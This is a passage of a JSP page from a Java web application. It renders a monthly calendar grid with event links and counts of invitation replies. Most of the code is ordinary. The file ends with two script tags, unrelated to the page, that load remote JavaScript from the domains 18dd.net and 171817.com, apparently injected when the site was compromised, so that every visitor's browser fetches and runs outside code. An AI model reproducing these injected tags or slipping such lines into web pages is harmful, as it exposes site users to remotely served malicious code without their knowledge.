                   <a title='<%=TextUtility.replaceString(showValue,singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_MONTH%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font class='<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(showValue)%>" limitLength="15" /></font></a>
              <%}%>
               </nobr>
<%	//check for invite status		%>
<%						updateAlertList = (ArrayList)updateAlertDAO.getByObjectTypeObjectIDAndActionType(UpdateAlert.CALENDAR_TYPE, calendar.getID(), UpdateAlert.INVITE_ACTION);
              if (updateAlertList.size()>0)  {
                UpdateAlert updateAlert = (UpdateAlert)updateAlertList.get(0);

                UpdateAlertSystemLogDAObject alertSystemLogDAO = new UpdateAlertSystemLogDAObject(sessionContainer, conn);
                List validUpdateAlertID = new ArrayList(1);

                validUpdateAlertID.add(updateAlert.getID());
                List systemLogList = alertSystemLogDAO.getSystemLogList(validUpdateAlertID);
                int ttlReplyOnAccept = 0;
                int ttlReplyOnTentative =  0;
                int ttlReplyOnReject = 0;
                if (systemLogList!=null) {
                  for (int k=0; k<systemLogList.size(); k++) {
                     UpdateAlertSystemLog alertSystemLog = (UpdateAlertSystemLog)systemLogList.get(k);
                     List replyOnAcceptAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.ACCEPT_ON_REPLY);
                    if (replyOnAcceptAry!=null)
                      ttlReplyOnAccept = replyOnAcceptAry.size();
                     List replyOnTentativeAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.TENTATIVE_ON_REPLY);
                    if (replyOnTentativeAry!=null)
                      ttlReplyOnTentative = replyOnTentativeAry.size();
                     List replyOnRejectAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.REJECT_ON_REPLY);
                    if (replyOnRejectAry!=null)
                      ttlReplyOnReject = replyOnRejectAry.size();
                  }		%>

                    <br>
                    <b><html:img src='IconAccept.gif' /><%=ttlReplyOnAccept%> <html:img src='IconTentative.gif' /><%=ttlReplyOnTentative%> <html:img src='IconReject.gif' /> <%=ttlReplyOnReject%> </b>
<%       				}
              }
%>
                    <br>

<%				}
      }
    }                                          %>
      </span>
    </td>
<%		if (TDcounter%7==0) {						%>
  </tr>
  <tr class="<%= ((TRcounter%2)==0) ? "light" : "greyD" %>">
<%			TRcounter++;
    }
    TDcounter++;
%>

<%                              }%>
<%
//	Set the selectedDate to the last day of selected Month and find out how
//	many empty table cells need to	be insert after the calendar.
  selectedDate.set(Calendar.DAY_OF_MONTH,endOfMonth);

//	Insert empty table cells need to be insert in front of the calendar if need.
  if (selectedDate.get(Calendar.DAY_OF_WEEK)!=7) {
    for (int i = 7;i>selectedDate.get(Calendar.DAY_OF_WEEK);i--) {	%>
    <td width="110" height="85" class="bodyBold" align='left' valign='top'>&nbsp;

    </td>
<%	}
  }
//	Reset the selectedDate to the selectedDay
  selectedDate.set(Calendar.DAY_OF_MONTH,selectedDay);
%>
  </tr>
  </table>
</layout:tabContainer>  
</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>